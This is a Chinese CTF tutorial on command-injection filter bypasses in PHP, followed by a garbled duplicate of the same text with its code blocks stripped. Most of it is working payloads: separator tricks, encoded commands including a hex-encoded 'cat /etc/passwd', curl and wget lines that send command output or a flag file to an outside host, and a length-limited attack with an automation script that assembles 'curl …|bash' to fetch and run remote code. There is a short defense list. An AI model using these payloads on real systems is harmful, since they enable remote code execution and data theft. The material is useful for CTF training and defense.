CTF中命令执行绕过方法
字数 1311 2025-08-15 21:33:57

CTF命令执行绕过方法详解

1. 基本命令执行原理

在CTF比赛中,命令执行漏洞通常通过PHP的危险函数实现,例如:

<?php
if (isset($_POST['host'])) {
    $host = $_POST['host'];
    $res = shell_exec("ping -c 4 {$host}");
    echo $res;
}
?>

攻击者可以在ping命令后利用Linux命令分隔符执行任意命令。

2. 常用命令分隔符

  • ;:顺序执行,不关心前一个命令是否成功
  • &:后台执行
  • &&:逻辑与,前一个命令成功才执行下一个
  • |:管道,前一个命令的输出作为后一个命令的输入
  • ||:逻辑或,前一个命令失败才执行下一个
  • %0a%0d:换行符(URL编码)
  • `:反引号,等同于shell_exec()

3. PHP中可执行命令的危险函数

  • system()
  • shell_exec()
  • eval()
  • assert()
  • exec()
  • preg_replace()
  • call_user_func()
  • passthru()
  • pcntl_exec()
  • popen()
  • proc_open()
  • 反引号命令执行

4. 常见过滤绕过技术

4.1 编码绕过

  • 八进制编码$(printf "\154\163") # 等同于ls
  • 十六进制编码echo "636174202F6574632F706173737764" | xxd -r -p|bash

4.2 空格绕过

  • ${IFS}
  • $IFS
  • $IFS$9
  • %20(URL编码)
  • %09(制表符)

示例:

cat${IFS}flag
cat$IFS$9flag

4.3 特殊符号绕过

  • >:可用$PS2变量代替
  • +:可用$PS4变量代替

4.4 关键词绕过

  • 命令拆分
    a=l;b=s;$a$b
    
  • 空变量
    cat fl${x}ag
    cat tes$(z)t/flag
    
  • 环境变量截取
    ${PATH:0:1}  # 输出'/'
    ${PATH:1:1}  # 输出'u'
    

4.5 空值绕过

cat fl""ag
cat fl''ag
cat "fl""ag"

4.6 反斜杠绕过

ca\t fl\ag
l\s

4.7 花括号用法

{cat,flag}

4.8 无回显命令执行

  • 通过curl带出结果
    curl www.example.com/`whoami`
    
  • wget带出文件
    wget --post-file flag 47.100.120.123:2333
    

5. escapeshellarg()和escapeshellcmd()绕过

5.1 函数说明

  • escapeshellarg():添加单引号并转义已有单引号
  • escapeshellcmd():转义可能欺骗shell执行任意命令的字符

5.2 组合使用漏洞

当两个函数组合使用时可能产生漏洞:

$command = './configure '.$_POST['configure_options'];
$escaped_command = escapeshellcmd(escapeshellarg($command));
system($escaped_command);

可以利用单引号转义特性进行注入。

6. 长度限制绕过

6.1 基本原理

  • 使用反斜杠\换行执行长命令
  • 利用ls -t按时间排序文件
  • 将命令分片写入文件后执行

6.2 具体步骤

  1. 生成ls -t>g命令:
    >ls\\
    ls>t\g
    ls>>_
    
  2. 生成反弹shell命令:
    >sh\ 
    >ba\p\\
    >vi\\
    >i.\\
    >y\\
    >ra\\
    >w.\\
    >ww\rl\\
    >cu\\
    
  3. 执行:
    sh _  # 先执行ls -t>g
    sh g  # 执行生成的脚本
    

6.3 自动化脚本示例

import requests
from time import sleep
import urllib

payload = [
    # generate `ls -t>g`
    '>ls\\',
    'ls>t\g',
    'ls>>_',
    
    # generate `curl www.example.com|bash`
    '>sh\ ',
    '>ba\p\\',
    '>vi\\',
    '>i.\\',
    '>y\\',
    '>ra\\',
    '>w.\\',
    '>ww\rl\\',
    '>cu\\',
    
    # exec
    'sh _',  # 先执行ls -t>g
    'sh g'
]

r = requests.get('http://url/?reset=1')
for i in payload:
    assert len(i) <= 5
    r = requests.get('http://url/?cmd=' + urllib.parse.quote(i))
    print(i)
    sleep(1)

7. 其他实用技巧

  • IP地址数字化curl 795113595/g|bash
  • 文件读取命令ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sort|cut|xxd
  • 可变变量${cmd}或`

\[a`(`$a`可控为`{cmd}`) ## 8. 防御建议 - 避免使用危险函数 - 使用白名单过滤输入 - 对用户输入进行严格验证 - 最小权限原则运行服务 - 使用安全的替代函数 通过掌握这些绕过技术,CTF选手可以更有效地解决命令执行类题目,同时也提醒开发人员加强安全防护措施。\]

CTF命令执行绕过方法详解 1. 基本命令执行原理 在CTF比赛中,命令执行漏洞通常通过PHP的危险函数实现,例如: 攻击者可以在ping命令后利用Linux命令分隔符执行任意命令。 2. 常用命令分隔符 ; :顺序执行,不关心前一个命令是否成功 & :后台执行 && :逻辑与,前一个命令成功才执行下一个 | :管道,前一个命令的输出作为后一个命令的输入 || :逻辑或,前一个命令失败才执行下一个 %0a 、 %0d :换行符(URL编码) ` :反引号,等同于shell_ exec() 3. PHP中可执行命令的危险函数 system() shell_ exec() eval() assert() exec() preg_ replace() call_ user_ func() passthru() pcntl_ exec() popen() proc_ open() 反引号命令执行 4. 常见过滤绕过技术 4.1 编码绕过 八进制编码 : $(printf "\154\163") # 等同于ls 十六进制编码 : echo "636174202F6574632F706173737764" | xxd -r -p|bash 4.2 空格绕过 ${IFS} $IFS $IFS$9 %20 (URL编码) %09 (制表符) 示例: 4.3 特殊符号绕过 > :可用 $PS2 变量代替 + :可用 $PS4 变量代替 4.4 关键词绕过 命令拆分 : 空变量 : 环境变量截取 : 4.5 空值绕过 4.6 反斜杠绕过 4.7 花括号用法 4.8 无回显命令执行 通过curl带出结果 : wget带出文件 : 5. escapeshellarg()和escapeshellcmd()绕过 5.1 函数说明 escapeshellarg() :添加单引号并转义已有单引号 escapeshellcmd() :转义可能欺骗shell执行任意命令的字符 5.2 组合使用漏洞 当两个函数组合使用时可能产生漏洞: 可以利用单引号转义特性进行注入。 6. 长度限制绕过 6.1 基本原理 使用反斜杠 \ 换行执行长命令 利用 ls -t 按时间排序文件 将命令分片写入文件后执行 6.2 具体步骤 生成 ls -t>g 命令: 生成反弹shell命令: 执行: 6.3 自动化脚本示例 7. 其他实用技巧 IP地址数字化 : curl 795113595/g|bash 文件读取命令 : ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sort|cut|xxd 可变变量 : ${cmd} 或 $$a ( $a 可控为 {cmd} ) 8. 防御建议 避免使用危险函数 使用白名单过滤输入 对用户输入进行严格验证 最小权限原则运行服务 使用安全的替代函数 通过掌握这些绕过技术,CTF选手可以更有效地解决命令执行类题目,同时也提醒开发人员加强安全防护措施。